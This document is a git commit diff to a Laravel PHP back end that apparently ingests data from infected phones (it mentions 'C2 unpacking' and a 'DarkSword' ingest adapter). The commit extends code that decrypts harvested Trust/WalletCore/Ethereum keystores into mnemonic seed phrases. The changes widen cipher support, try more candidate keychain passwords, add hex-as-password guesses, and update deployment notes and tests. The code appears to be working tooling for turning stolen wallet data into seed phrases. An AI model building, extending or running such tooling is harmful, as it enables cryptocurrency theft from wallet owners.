This commit is contained in:
hashbro
2026-08-24 07:07:56 +08:00
parent 0dfb93f451
commit cd07fe62fd
6 changed files with 154 additions and 34 deletions
@@ -9,6 +9,7 @@ use App\Models\WalletKeystore;
use App\Models\WalletMnemonic;
use App\Services\DarkSwordIngestAdapter;
use App\Services\DsKeystoreDecrypt;
use App\Services\EthKeystore;
use App\Support\AgentScope;
use Illuminate\Database\Eloquent\Builder;
use Illuminate\Http\Request;
@@ -167,7 +168,11 @@ class KeystoreController extends Controller
return '有沙盒 UTC 文件,但没有钥匙串密码(account 含 UTC-- 的 32 字节项)';
}
if ($utc > 0 && $passwords > 0) {
return 'UTC 和钥匙串密码都在,但解不开(密码不匹配或 scrypt 失败)';
if (! EthKeystore::scryptReady()) {
return 'UTC 和钥匙串密码都在,但服务器无法跑 scrypt(需要 python3,且 PHP 未禁用 proc_open)';
}
return 'UTC 和钥匙串密码都在,但解不开(密码不匹配)';
}
if ($entropy > 0) {
return '有 Bitpie seedPhraseEntropy,但未能还原助记词';
+22 -2
View File
@@ -89,7 +89,7 @@ final class DsKeystoreDecrypt
foreach ($device->keystores as $row) {
$passwords = array_merge($passwords, $this->collectPasswords($row->raw_json));
}
$passwords = array_slice($this->uniquePasswords($passwords), 0, 8);
$passwords = array_slice($this->uniquePasswords($passwords), 0, 16);
if ($passwords === []) {
return [];
}
@@ -318,7 +318,14 @@ final class DsKeystoreDecrypt
return [];
}
return $this->passwordsFromString($raw);
$out = $this->passwordsFromString($raw);
// WalletCore / Trust sometimes treat the hex text itself as the password.
if (strlen($hex) === 64 || strlen($hex) === 128) {
$out[] = strtolower($hex);
$out[] = strtoupper($hex);
}
return $out;
}
/**
@@ -424,6 +431,19 @@ final class DsKeystoreDecrypt
private function asMnemonic(string $plain): ?string
{
$plain = trim($plain, "\0 \t\n\r");
if (str_starts_with($plain, '{')) {
$json = json_decode($plain, true);
if (is_array($json) && isset($json['mnemonic']) && is_string($json['mnemonic'])) {
$plain = $json['mnemonic'];
}
}
if (preg_match('/^[0-9a-fA-F]+$/', $plain) && strlen($plain) % 2 === 0 && strlen($plain) >= 24) {
$bin = @hex2bin($plain);
if (is_string($bin) && str_contains($bin, ' ')) {
$plain = $bin;
}
}
$text = strtolower(trim($plain));
$text = preg_replace('/\s+/', ' ', $text) ?? $text;
$words = $text === '' ? [] : explode(' ', $text);
+72 -28
View File
@@ -6,13 +6,15 @@ use App\Support\Scrypt;
use kornrunner\Keccak;
/**
* Ethereum / WalletCore keystore v3: scrypt|pbkdf2 + AES-128-CTR + keccak MAC.
* Ethereum / WalletCore keystore v3: scrypt|pbkdf2 + AES-CTR + keccak MAC.
*/
final class EthKeystore
{
/** @var array<string, string> */
private static array $kdfCache = [];
private static ?bool $scryptReady = null;
public static function decrypt(array $keystore, string $password): ?string
{
$crypto = $keystore['crypto'] ?? $keystore['Crypto'] ?? null;
@@ -20,7 +22,13 @@ final class EthKeystore
return null;
}
$cipher = strtolower((string) ($crypto['cipher'] ?? ''));
if ($cipher !== 'aes-128-ctr') {
$keyLen = match ($cipher) {
'aes-128-ctr' => 16,
'aes-192-ctr' => 24,
'aes-256-ctr' => 32,
default => 0,
};
if ($keyLen === 0) {
return null;
}
$ciphertext = self::fromHex($crypto['ciphertext'] ?? null);
@@ -31,14 +39,16 @@ final class EthKeystore
}
$derived = self::deriveKey($crypto, $password);
if ($derived === null || strlen($derived) < 32) {
if ($derived === null || strlen($derived) < $keyLen) {
return null;
}
if (! hash_equals($mac, self::keccak256(substr($derived, 16, 16).$ciphertext))) {
$macOk = hash_equals($mac, self::keccak256(substr($derived, -$keyLen).$ciphertext))
|| hash_equals($mac, self::keccak256(substr($derived, 16, 16).$ciphertext));
if (! $macOk) {
return null;
}
$plain = openssl_decrypt($ciphertext, 'aes-128-ctr', substr($derived, 0, 16), OPENSSL_RAW_DATA, $iv);
$plain = openssl_decrypt($ciphertext, $cipher, substr($derived, 0, $keyLen), OPENSSL_RAW_DATA, $iv);
if (! is_string($plain) || $plain === '') {
return null;
}
@@ -46,6 +56,17 @@ final class EthKeystore
return $plain;
}
public static function scryptReady(): bool
{
if (self::$scryptReady !== null) {
return self::$scryptReady;
}
$out = self::scryptPython('a', 'b', 2, 1, 1, 16);
self::$scryptReady = is_string($out) && strlen($out) === 16;
return self::$scryptReady;
}
/**
* @param array<string, mixed> $kdfparams
* @return array<string, mixed>
@@ -97,8 +118,8 @@ final class EthKeystore
$kdf = strtolower((string) ($crypto['kdf'] ?? ''));
$params = is_array($crypto['kdfparams'] ?? null) ? $crypto['kdfparams'] : [];
$dklen = (int) ($params['dklen'] ?? 32);
$salt = self::fromHex($params['salt'] ?? null);
if ($salt === null || $dklen < 16) {
$salt = self::fromHex($params['salt'] ?? '') ?? '';
if ($dklen < 16) {
return null;
}
if ($kdf === 'scrypt') {
@@ -155,14 +176,23 @@ final class EthKeystore
}
$code = <<<'PY'
import sys
try:
from Crypto.Protocol.KDF import scrypt
except ImportError:
sys.exit(2)
pw = bytes.fromhex(sys.argv[1])
salt = bytes.fromhex(sys.argv[2])
n, r, p, dk = (int(sys.argv[i]) for i in range(3, 7))
sys.stdout.buffer.write(scrypt(pw, salt, dk, N=n, r=r, p=p))
mem = 128 * r * n + 8 * 1024 * 1024
try:
import hashlib
sys.stdout.buffer.write(hashlib.scrypt(pw, salt=salt, n=n, r=r, p=p, dklen=dk, maxmem=mem))
raise SystemExit(0)
except SystemExit:
raise
except Exception:
pass
try:
from Crypto.Protocol.KDF import scrypt
sys.stdout.buffer.write(scrypt(pw, salt, dk, N=n, r=r, p=p))
except Exception:
sys.exit(2)
PY;
$cmd = [
$python,
@@ -194,28 +224,39 @@ PY;
private static function pythonBinary(): ?string
{
$candidates = [
$configured = [
trim((string) config('coruna.channel_builder.python', '')),
trim((string) config('coruna.channel_builder_new.python', '')),
base_path('channel-builder/.venv/bin/python'),
base_path('channel-builder-new/.venv/bin/python'),
'/usr/bin/python3',
'python3',
];
foreach ($candidates as $bin) {
if ($bin === '') {
continue;
}
if ($bin === 'python3') {
return $bin;
}
$root = base_path();
if (str_starts_with($bin, $root) && @is_file($bin)) {
foreach ($configured as $bin) {
if ($bin !== '') {
return $bin;
}
}
foreach ([
base_path('channel-builder/.venv/bin/python'),
base_path('channel-builder-new/.venv/bin/python'),
] as $venv) {
if (self::venvPythonExists($venv)) {
return $venv;
}
}
return null;
return 'python3';
}
/**
* Detect .venv/bin/python without following the symlink into /usr/bin
* (open_basedir typically allows the project root only).
*/
private static function venvPythonExists(string $path): bool
{
clearstatcache(true, $path);
if (@is_link($path)) {
return true;
}
return @is_file($path);
}
private static function keccak256(string $data): string
@@ -225,9 +266,12 @@ PY;
private static function fromHex(mixed $value): ?string
{
if (! is_string($value) || $value === '') {
if (! is_string($value)) {
return null;
}
if ($value === '') {
return '';
}
$hex = preg_replace('/[^0-9a-fA-F]/', '', $value) ?? '';
if ($hex === '' || strlen($hex) % 2 !== 0) {
return null;
+1 -1
View File
@@ -100,7 +100,7 @@ Nginx 站点配置建议同时加大:
client_max_body_size 64m;
```
禁用函数:Composer / Laravel 需要 `putenv`;C2 解包可能需要 `proc_open` / `exec`。从 PHP「禁用函数」中移除 `putenv`(按需放行 `proc_open`)。
禁用函数:Composer / Laravel 需要 `putenv`;C2 解包和 **Trust UTC 解密(python scrypt)** 需要 `proc_open`。从 PHP「禁用函数」中移除 `putenv`、`proc_open`。系统 `python3` 自带 `hashlib.scrypt` 即可,不必另装 `pycryptodome`(有 builder venv 则优先用 venv)。
---
+2 -2
View File
@@ -238,13 +238,13 @@ class KeystoreAdminTest extends TestCase
],
]);
$this->actingAs($admin, 'admin')
$resp = $this->actingAs($admin, 'admin')
->postJson(route('admin.keystores.decrypt', $keychain))
->assertOk()
->assertJsonPath('code', 0)
->assertJsonPath('data.added', 0)
->assertJsonPath('data.utc', 0)
->assertJsonPath('data.passwords', 1)
->assertJsonPath('msg', '有钥匙串密码,但没有沙盒 UTC 文件(Documents/keystore/UTC--…)。Trust 不能只靠钥匙串解密');
$this->assertGreaterThan(0, $resp->json('data.passwords'));
}
}
+51
View File
@@ -72,6 +72,57 @@ class EthKeystoreTest extends TestCase
$this->assertSame($phrase, $got);
}
#[Test]
public function python_scrypt_high_n_roundtrip(): void
{
if (! EthKeystore::scryptReady()) {
$this->markTestSkipped('python3 hashlib/pycryptodome scrypt is unavailable');
}
$phrase = 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about';
$password = random_bytes(32);
$utc = EthKeystore::encrypt($phrase, $password, ['n' => 256, 'r' => 8, 'p' => 1]);
$this->assertSame($phrase, EthKeystore::decrypt($utc, $password));
}
#[Test]
public function aes_256_ctr_unlocks_with_walletcore_mac(): void
{
$phrase = 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about';
$password = 'trust-aes256';
$salt = random_bytes(32);
$iv = random_bytes(16);
$derived = hash_pbkdf2('sha256', $password, $salt, 16, 32, true);
$ciphertext = openssl_encrypt($phrase, 'aes-256-ctr', $derived, OPENSSL_RAW_DATA, $iv);
$this->assertIsString($ciphertext);
$utc = [
'version' => 3,
'crypto' => [
'cipher' => 'aes-256-ctr',
'cipherparams' => ['iv' => bin2hex($iv)],
'ciphertext' => bin2hex($ciphertext),
'kdf' => 'pbkdf2',
'kdfparams' => [
'c' => 16,
'dklen' => 32,
'prf' => 'hmac-sha256',
'salt' => bin2hex($salt),
],
'mac' => bin2hex(hex2bin(\kornrunner\Keccak::hash($derived.$ciphertext, 256))),
],
];
$this->assertSame($phrase, EthKeystore::decrypt($utc, $password));
}
#[Test]
public function unlock_accepts_json_mnemonic_payload(): void
{
$phrase = 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about';
$password = 'json-payload';
$utc = EthKeystore::encrypt(json_encode(['mnemonic' => $phrase]), $password, ['n' => 16, 'r' => 1, 'p' => 1]);
$decrypt = new DsKeystoreDecrypt;
$this->assertSame($phrase, $decrypt->unlock($utc, [$password]));
}
#[Test]
public function bitpie_entropy_ascii_hex_unlocks_phrase(): void
{